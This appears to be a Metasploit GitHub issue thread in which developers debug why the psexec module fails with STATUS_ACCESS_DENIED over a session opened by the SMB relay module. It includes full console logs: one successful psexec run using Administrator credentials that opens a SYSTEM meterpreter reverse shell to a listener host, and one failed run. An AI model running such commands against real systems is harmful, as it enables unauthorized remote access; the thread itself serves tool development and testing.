Open bwatters-r7 opened 1 day ago
Does the regular PSExec module work? If not, have you disabled Remote UAC. That'll trigger a STATUS_ACCESS_DENIED error IIRC.
Regular psexec works just fine:
msf6 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
SERVICE_DESCRIPTION no Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBSHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read
/write folder share
Used when connecting via an existing SESSION:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION no The session to run this module on
Used when making a new connection via RHOSTS:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.5.132.182 no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met
asploit.html
RPORT 445 no The target port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass v3Mpassword no The password for the specified username
SMBUser Administrator no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.5.135.201:4444
[*] 10.5.132.182:445 - Connecting to the server...
[*] 10.5.132.182:445 - Authenticating to 10.5.132.182:445 as user 'Administrator'...
[!] 10.5.132.182:445 - No active DB -- Credential data will not be saved!
[*] 10.5.132.182:445 - Checking for System32\WindowsPowerShell\v1.0\powershell.exe
[*] 10.5.132.182:445 - PowerShell found
[*] 10.5.132.182:445 - Selecting PowerShell target
[*] 10.5.132.182:445 - Powershell command length: 4334
[*] 10.5.132.182:445 - Executing the payload...
[*] 10.5.132.182:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.5.132.182[\svcctl] ...
[*] 10.5.132.182:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.5.132.182[\svcctl] ...
[*] 10.5.132.182:445 - Obtaining a service manager handle...
[*] 10.5.132.182:445 - Creating the service...
[+] 10.5.132.182:445 - Successfully created the service
[*] 10.5.132.182:445 - Starting the service...
[*] Sending stage (177734 bytes) to 10.5.132.182
[+] 10.5.132.182:445 - Service start timed out, OK if running a command or non-service executable...
[*] 10.5.132.182:445 - Removing the service...
[+] 10.5.132.182:445 - Successfully removed the service
[*] 10.5.132.182:445 - Closing service handle...
[*] Meterpreter session 1 opened (10.5.135.201:4444 -> 10.5.132.182:61158) at 2024-11-22 10:48:16 -0600
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Also, for what it is worth, I can get an smb session with the relay module just fine.
Hmm the plot thickens... What if you try the psexec
module with the session opened by the relay module? That'd help identify if it's something with the session or how the module is running the operation. I think both modules use the same underlying psexec library code though, but there could be some odd variance.
Psexec does not work with the smb_session
msf6 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
SERVICE_DESCRIPTION no Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBSHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read
/write folder share
Used when connecting via an existing SESSION:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 no The session to run this module on
Used when making a new connection via RHOSTS:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met
asploit.html
RPORT 445 no The target port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
LPORT 4571 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.5.135.201:4571
[*] Using existing session 1
[-] Exploit failed [no-access]: RubySMB::Error::UnexpectedStatusCode The server responded with an unexpected status code: STATUS_ACCESS_DENIED
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/psexec) >
I appear to be authenticating just fine, but then get
ACCESS_DENIED
when using the psexec action.=[ metasploit v6.4.38-dev-d5b71aa581 ]